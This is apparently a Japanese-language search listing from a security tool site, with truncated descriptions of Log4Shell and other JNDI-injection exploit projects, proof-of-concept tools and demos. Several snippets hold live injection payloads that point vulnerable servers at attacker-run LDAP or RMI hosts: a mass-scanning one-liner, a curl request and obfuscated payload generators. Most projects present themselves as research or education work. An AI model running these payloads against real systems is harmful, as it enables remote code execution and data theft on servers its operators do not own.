362 matches found
Log4j-JNDIServer
Log4j-JNDIServer このプロジェクトは、Log4jの脆弱性CVE-2021-44228およびCVE-2021-45046をテストするのに役立ちます。 インストールとビルド IntelliJ IDEAでプロジェクトを読み込む 「プロジェクト設定」でJDKを選択 Ctrl + Alt + Shift + S 「プロジェクト設定」でアーティファクトを作成 - 「アーティファクト」 - 「モジュールからJARを作成」 - 「ライブラリからのJARファイル」で「ターゲットJARに抽出」を選択 - 「OK」 プロジェクトをビルド Ctrl +...
Log4Shell-Payloads
🚨 Log4Shell ペイロードコレクション 厳選された Log4Shell / Log4J エクスプロイトペイロード のリスト。対象: CVE-2021-45046 CVE-2022-42889 🔗 作成者: @nav1n0x 🔥 ワンライナーペイロード ✅ ワンライナー1bash cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo '/$jndi:ldap://.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a' L4SFuzzList httpx -l...
Log4Shell-Vulnerability-Replication
CVE-2021-44228 Log4Shell 脆弱性完全再現記録 本記録は、Vulhub が提供する Apache Solr 8.11.0 のターゲット環境に基づき、Log4j2 JNDI インジェクション脆弱性を完全に再現し、DNSLog およびローカル LDAP リスニングによって脆弱性の存在を確認したものです。 一、実験環境 オペレーティングシステム : Windows 11 + WSL2 Ubuntu コンテナプラットフォーム : Docker Desktop 4.76 ターゲット環境の出典 : Vulhub vulhub/log4j/CVE-2021-44228 対象サービ...
Jolokia Agent - JNDI Code Injection
Jolokia agent is vulnerable to a JNDI injection vulnerability that allows a remote attacker to run arbitrary Java code on the server when the agent is in proxy mode. id: CVE-2018-1000130 info: name: Jolokia Agent - JNDI Code Injection author: milo2012 severity: high description: | Jolokia agent i...
rogue-jndi
Rogue JNDI JNDI インジェクション攻撃用の悪意のある LDAP サーバー。 説明 このプロジェクトには、デフォルトで安全ではない Java JNDI API を悪用するための LDAP および HTTP サーバーが含まれています。 攻撃を実行するには、これらのサーバーをローカルで起動し、脆弱なクライアント上で JNDI 解決をトリガーします。例: root@kitploit: InitialContext.doLookup"ldap://yourserver.com:1389/o=reference"; これにより、脆弱なクライアントからローカル LDAP...
log4j-payload-generator
0x01 紹介 log4j-payload-generatorは woodpeckerフレームワーク がlog4 jndiインジェクション脆弱性のpayloadを生成するプラグインです。現在、以下の5種類のpayloadをワンクリックで生成できます。 1. 元のpayload 2. upper|lower:xタイプのランダム混合payload 3. upper|lower:xタイプの完全難読化payload 4. ::-nタイプのランダム難読化payload 5. ::-nタイプの完全難読化payload 0x02 参考...
log4shell
Log4Shell このプロジェクトは、log4shell セキュリティ脆弱性の動作を実演するためのものです。 この脆弱性は CVE-2021-44228 に記載されています。 このプロジェクトは教育目的のみを対象としています。 ご自身のシステム上でのみ、実験目的に限って使用してください。 実行はすべて自己責任で行ってください。 作者は、本プロジェクトの実行によって生じたいかなる事故についても責任を負いません。 コマンド例 root@kitploit: ldapserver=i-09cd4f41e5a2b1d66.eu-west-3.compute.internal:1389 hello...
CVE-2021-44228
CVE-2021-44228 Log4j2コンポーネントコマンド実行RCE Code By:Junsheng @橘子网络安全实验室 橘子网络安全实验室 https://0range.team/ 0x00 リスク概要 本ツールは認可されたセキュリティテストのみに使用してください。未承認の不正攻撃サイトへの使用は禁止です オンラインで《中華人民共和国ネットワーク安全法》を読む 0x01 ツールの使用方法 実行中のプロンプト 0x02 注意 本ツールはJNDIインジェクションツールを呼び出して脆弱性攻撃を行います 攻撃対象のアドレスは完全なパスを入力してください!...
Log4Shell
Log4Shell このリポジトリは、Log4j 2021(CVE-2021-44228)の脆弱性のデモンストレーションと緩和策のためのものです。 Log4Shellとは? CVE-2021-44228 / Log4Shellの脆弱性は、悪意のあるペイロードを脆弱なソフトウェアに注入することで構成され、Log4JにJNDIとLDAPプロトコルを通じて第三者ソースから値を取得するよう要求させます。... 取り込まれたデータはコードになる可能性があり、それがシステム上でLog4Jによって実行されます。 概念実証(ビデオチュートリアル) 1...
Log4j_Vulnerability_Demo
Log4jVulnerabilityDemo Log4j の脆弱性(CVE-2021-44228)がどのように悪用されるかを示すシンプルなプログラムです。 デモの実行方法 : プログラムを起動するには、UNIX システムでは start.sh を、Windows では start.bat を実行するだけです。 ユーザー入力は読み取られ、Log4j フレームワークを使用してコンソールにログ出力されます。 デフォルトでは、Log4j ライブラリによって生成されるログメッセージは、JNDI 置換に対してサーバー到達不能 /...
log4j-polkit-poc
log4j CVE-2021-44228 + polkit CVE-2021-4034 log4j Apache エクスプロイトと polkit を使用した権限昇格のための脆弱性インスタンス 脆弱な spring-boot-application.jar はこの Docker イメージから抽出されました 悪意のある JNDI サーバーはここからダウンロードされ、この記事で参照されています。 PoC 動画 PoC 動画 脆弱性インスタンスの作成 log4j-polkit-vuln 以下の手順が完了すると、脆弱性インスタンスが実行され、ポート...
Weblogic-CVE-2023-21839
Weblogic-CVE-2023-21839 CVE-2023-21839 は、ネット上で公開されている PoC を元に作成されたツールです。 影響を受けるバージョン 12.2.1.3.0 12.2.1.4.0 14.1.1.0.0 使用方法 java -jar ターゲットIP:ポート LDAPアドレス 推奨ツール: https://github.com/WhiteHSBG/JNDIExploit 免責事項 このツールは、サイバーセキュリティの攻防研究のための情報交換のみを目的としています。利用者は、サイバーセキュリティ法に従って適切に使用してください。...
CVE-2024-20931
CVE-2024-20931 CVE-2024-20931 用の Poc 脆弱性分析 JNDIインジェクションの新たな攻撃面-CVE-2024-20931分析...
Log4j-Rec-CVE-2021-44228
Log4j2再現ノート、学習用のみ 参照https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce 実行可能ファイルの作成 root@kitploit: com/example/template javac Log4jRCE.java Python標準のHTTPサーバーを起動 root@kitploit: com/example/template python -m http.server 8888 LDAPサーバーを起動 root@kitploit: tools java -cp...
CVE-2020-1947
CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...
log4j2-rce-poc
Log4j2 RCE脆弱性の概念実証 Log4j2 JNDIリモートコード実行脆弱性(CVE-2021-44228)の最小限の概念実証です。これは教育目的であり、セキュリティ研究者でない人々がその仕組みと影響の大きさを理解するのに役立つことを意図しています。 このPOCは、com.sun.jndi.rmi.object.trustURLCodebaseおよびcom.sun.jndi.cosnaming.object.trustURLCodebaseプロパティをtrueに設定する要件を回避します。これらのプロパティは8u121、7u131、6u141以降デフォルトで無効化されました。 前提...
cve-2021-44228--spring-hibernate
CVE-2021-44228 実証コード - Spring / Hibernate この実証コードは Spring / Hibernate を使用していますが、rmi - デシリアライゼーションの同様のアプローチは、あらゆるデシリアライゼーションの脆弱性をトリガーするために使用できます TL;DR root@kitploit: $ docker-compose up $ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-binary '$jndi:rmi://exploit:10000/a' 被害者の...
Exploiting-CVE-2021-44228-Log4Shell-in-a-Banking-Environment
銀行環境におけるCVE-2021-44228-Log4Shellの悪用 目的: シミュレートされた銀行アプリケーション環境内で、Log4Shellの脆弱性(CVE-2021-44228)の悪用を実証します。 範囲: 1: Apache Log4jを使用した、脆弱性のある銀行アプリケーションをセットアップする。 2:脆弱性を悪用してリモートコード実行を達成するペイロードを作成する。 3:データ窃取や水平移動などの侵害後のテクニックを実証する。 4:パッチ適用やネットワーク監視を含む、検出および緩和策を実装して文書化する。 5:使用したツール(例:JNDI Exploit Kit、Burp...
weblogic2021
このプロジェクトは、セキュリティ研究および認可を得た状況でのみ使用されるものであり、利用者は現地の法律・規制を遵守する責任と義務を負います。 weblogic2021 CVE-2021-1994、CVE-2021-2047、CVE-2021-2064、CVE-2021-2108、CVE-2021-2075、CVE-2019-17195、CVE-2020-14756、CVE-2021-2109 WebLogic に影響する 7...
log4j2-issue-check
Log4Shellの評価: RCEゼロデイ問題 このリポジトリには、Log4j2問題 CVE-2021-44228 を評価するコードが含まれています 詳細 https://www.lunasec.io/docs/blog/log4j-zero-day/ テスト方法 クエリパラメータとして$jndi:ldap://127.0.0.1:3089/を指定したGETリクエストを送信します。 root@kitploit: http://localhost:10000/test?userParam=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A3089%2F%7D...